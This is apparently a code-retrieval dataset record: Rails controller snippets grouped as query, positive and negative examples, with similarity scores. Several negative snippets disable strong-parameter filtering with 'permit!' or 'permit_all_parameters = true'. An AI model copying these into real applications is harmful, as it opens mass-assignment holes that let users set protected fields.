Friendship.find(params[:id]).destroy\n redirect_to users_url\n end", "def destroy\n @authorship = Authorship.find(params[:id])\n @authorship.destroy\n\n respond_to do |format|\n format.html { redirect_to(authorships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\n @friendship = Friendship.find(params[:id])\n\n if params[:black_ball]\n current_user.black_ball(@friendship.proposer)\n end\n\n @friendship.destroy\n @incoming_friend_requests = Friendship.where({\n proposee_id: current_user.id,\n confirmed: nil\n })\n respond_to do |format|\n format.html { redirect_to friendships_url }\n format.js{}\n format.json { head :no_content }\n end\n end", "def destroy\n @internship = Internship.find(params[:id])\n @internship.destroy\n\n respond_to do |format|\n format.html { redirect_to(internships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @shichoson = Shichoson.find(params[:id])\n @shichoson.destroy\n\n respond_to do |format|\n format.html { redirect_to shichosons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @voivodeship = Voivodeship.find(params[:id])\n @voivodeship.destroy\n\n respond_to do |format|\n format.html { redirect_to voivodeships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shipcount.destroy\n respond_to do |format|\n format.html { redirect_to shipcounts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ship.destroy\n respond_to do |format|\n format.html { redirect_to ships_url, notice: 'Ship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @authorship = Authorship.find(params[:id])\n @authorship.destroy\n\n respond_to do |format|\n format.html { redirect_to authorships_url }\n format.xml { head :ok }\n end\n end", "def destroy_friendship(user, params = {})\n args = [user, params]\n delete path_from_args('friendships/destroy', args), params_from_args(args)\n end", "def destroy\n @replyship = Replyship.find(params[:id])\n @replyship.destroy\n\n respond_to do |format|\n format.html { redirect_to(replyships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @father = Father.find(params[:id])\n @father.destroy\n\n respond_to do |format|\n format.html { redirect_to fathers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @zombie_sighting = ZombieSighting.find(params[:id])\n @zombie_sighting.destroy\n\n respond_to do |format|\n format.html { redirect_to zombie_sightings_url }\n format.json { head :ok }\n end\n end", "def destroy\n @guardianship.destroy\n respond_to do |format|\n format.html { redirect_to guardianships_url, notice: 'Guardianship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @memeber_ship = MemeberShip.find(params[:id])\n @memeber_ship.destroy\n\n respond_to do |format|\n format.html { redirect_to(memeber_ships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @admin_neighbourhood.destroy\n respond_to do |format|\n format.html { redirect_to admin_neighbourhoods_url, notice: 'Neighbourhood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_pathway\n pathway = Pathway.find(params[:pathway_par])\n current_user.pathways.delete(pathway)\n if current_user.pathways.size < 1\n respond_to do |format|\n format.html { redirect_to '/saved#pathways' }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @kojenadult_adults_whatexamedship = KojenadultAdultsWhatexamedship.find(params[:id])\n @kojenadult_adults_whatexamedship.destroy\n\n respond_to do |format|\n format.html { redirect_to(kojenadult_adults_whatexamedships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ambassadorship.destroy\n @ambassadorship = Ambassadorship.new(area: @ambassadorship.area)\n respond_to do |format|\n format.html { redirect_to ambassadorships_url, notice: t('.notice') }\n format.json { head :no_content }\n format.js { render :destroy }\n end\n end", "def delete_friend\n \t#friend = User.find(params[:friend_id])\n respond_to do |format|\n \tif @user.friends.include?(@friend)\n Friendship.breakup(@user, @friend)\n message = \"Friendship with #{@friend.nick_name} deleted!\"\n format.json{render :json => {:message => message, :status => \"200\"}}\n else\n error = \"You aren't friends with #{@friend.nick_name}\"\n format.json { render :json => {:error => error, :status => \"400\"} }\n end\n end\n end", "def destroy\n @battle_roster.destroy\n respond_to do |format|\n format.html { redirect_to battle_rosters_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @graveyard.destroy\n respond_to do |format|\n format.html { redirect_to graveyards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @graveyard.destroy\n respond_to do |format|\n format.html { redirect_to graveyards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @plant = Plant.find(params[:id])\n @friendship = @plant.friendships.find_by_friend_id(params[:friend_id])\n\n if @friendship.destroy\n flash[:notice] = \"Removed friendship.\"\n redirect_to request.referrer\n else\n flash[:error] = \"Unable to remove friend\"\n redirect_to request.referrer\n end\n end", "def destroy\n @rooster = Rooster.find(params[:id])\n @rooster.destroy\n\n respond_to do |format|\n format.html { redirect_to roosters_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @warrior = Warrior.find(params[:id])\n @warrior.destroy\n\n respond_to do |format|\n format.html { redirect_to warriors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @horace = Horace.find(params[:id])\n @horace.destroy\n\n respond_to do |format|\n format.html { redirect_to horaces_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @favorite_flyer = FavoriteFlyer.find(params[:id])\n @favorite_flyer.destroy\n\n respond_to do |format|\n format.html { redirect_to favorite_flyers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @gopy = Gopy.find(params[:id])\n @gopy.destroy\n\n respond_to do |format|\n #format.html { redirect_to gopies_url }\n format.html { redirect_to hienthi_gopies_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @thirtyfife.destroy\n respond_to do |format|\n format.html { redirect_to thirtyfives_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @side_dish = SideDish.find(params[:id])\n @side_dish.destroy\n\n respond_to do |format|\n format.html { redirect_to side_dishes_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.73010033", "0.72287136", "0.7168933", "0.7126834", "0.7002743", "0.6930039", "0.69144964", "0.68991405", "0.68991405", "0.68991405", "0.6881094", "0.68626404", "0.68558574", "0.6847012", "0.68368685", "0.6826178", "0.680313", "0.6783466", "0.6758267", "0.6748581", "0.67429835", "0.67401254", "0.6718741", "0.6718466", "0.67183757", "0.6713975", "0.6705909", "0.66911024", "0.66908926", "0.66807723", "0.66644514", "0.6657805", "0.6653202", "0.6626373", "0.6621046", "0.66186756", "0.6610438", "0.6590642", "0.6590216", "0.6584235", "0.6581087", "0.6576436", "0.6571535", "0.6565416", "0.6564676", "0.6562043", "0.6550747", "0.6550509", "0.6544361", "0.65416306", "0.653593", "0.6535141", "0.653434", "0.65188134", "0.65188134", "0.65016115", "0.64978105", "0.6482011", "0.6475603", "0.6475603", "0.64725006", "0.64688605", "0.64682233", "0.64614683", "0.645539", "0.6454936", "0.6442594", "0.64385366", "0.6432951", "0.64328545", "0.6430256", "0.64267707", "0.6424975", "0.6424553", "0.6420786", "0.6416485", "0.64163", "0.6415576", "0.64145553", "0.6402505", "0.6398114", "0.6395371", "0.63807094", "0.63611215", "0.6360299", "0.6355296", "0.6348284", "0.63403046", "0.63396907", "0.6337511", "0.63310677", "0.63310677", "0.6330896", "0.63179255", "0.63068616", "0.63044053", "0.6304219", "0.6298512", "0.6295427", "0.6291578" ]
0.76634187
0
Use callbacks to share common setup or constraints between actions.
def set_fellowship @fellowship = Fellowship.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def set_actions\n actions :all\n end", "def define_action_helpers?; end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def before_action \n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def duas1(action)\n action.call\n action.call\nend", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def call\n setup_context\n super\n end" ]
[ "0.61642385", "0.60448", "0.5945487", "0.5915654", "0.58890367", "0.58330417", "0.5776098", "0.5703048", "0.5703048", "0.5654613", "0.5620029", "0.5423114", "0.540998", "0.540998", "0.540998", "0.5393666", "0.53783023", "0.53568405", "0.53391176", "0.5339061", "0.53310865", "0.5312988", "0.529798", "0.52968603", "0.52962637", "0.52577317", "0.5244704", "0.5236856", "0.5236856", "0.5236856", "0.5236856", "0.5236856", "0.5233461", "0.52322435", "0.5227552", "0.52224743", "0.5217851", "0.521241", "0.52069896", "0.5206555", "0.5176617", "0.51738507", "0.51725876", "0.51660734", "0.51605034", "0.51571786", "0.5152762", "0.5152164", "0.5151477", "0.5145819", "0.51408994", "0.5134412", "0.5114031", "0.5113695", "0.5113695", "0.5108603", "0.5107358", "0.5090405", "0.50889385", "0.50817686", "0.5081617", "0.50658226", "0.50551206", "0.5051746", "0.5049091", "0.5049091", "0.5034681", "0.5024972", "0.5021291", "0.5016024", "0.50134826", "0.50008893", "0.50000244", "0.4999155", "0.49907947", "0.49907947", "0.49853387", "0.49796683", "0.4979596", "0.49778128", "0.49673793", "0.49662578", "0.49587822", "0.4956063", "0.49550167", "0.49523485", "0.4951614", "0.49452996", "0.49442068", "0.49336892", "0.49306205", "0.49264124", "0.49259305", "0.4925823", "0.49229056", "0.4918999", "0.49171805", "0.49167436", "0.4916559", "0.49153692", "0.49148256" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def fellowship_params params.require(:fellowship).permit(:fellowship_name, :user_id, :fellowship_description) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
